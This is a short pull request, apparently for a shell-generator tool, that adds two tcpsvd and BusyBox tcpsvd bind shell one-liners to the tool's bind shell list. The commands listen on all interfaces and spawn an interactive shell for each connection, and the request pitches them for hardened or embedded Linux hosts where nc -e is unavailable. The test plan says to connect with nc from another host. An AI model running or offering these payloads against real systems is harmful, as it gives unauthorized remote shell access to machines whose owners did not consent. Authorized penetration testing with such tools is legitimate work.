add tcpsvd bind shell variants#208
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Adds tcpsvd and BusyBox tcpsvd entries to the bind shell list so environments that lack nc -e / ncat still have a one-liner that listens and spawns an interactive shell per connection.
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Summary
tcpsvd BindandBusyBox tcpsvd Bindentries to the Bind Shell list injs/data.js.tcpsvd(from ipsvd / busybox) listens on a TCP port and spawns a command per connection, giving a working bind shell in environments wherenc -e/ncat -earen't available (common on hardened/embedded Linux boxes where busybox is the only thing around).Commands added:
tcpsvd -vE 0.0.0.0 {port} {shell} -ibusybox tcpsvd -vE 0.0.0.0 {port} {shell} -iTest plan
{port}/{shell}placeholders render correctly.ipsvdorbusyboxinstalled, run the generated command and verify an interactive shell overnc <ip> <port>from another host.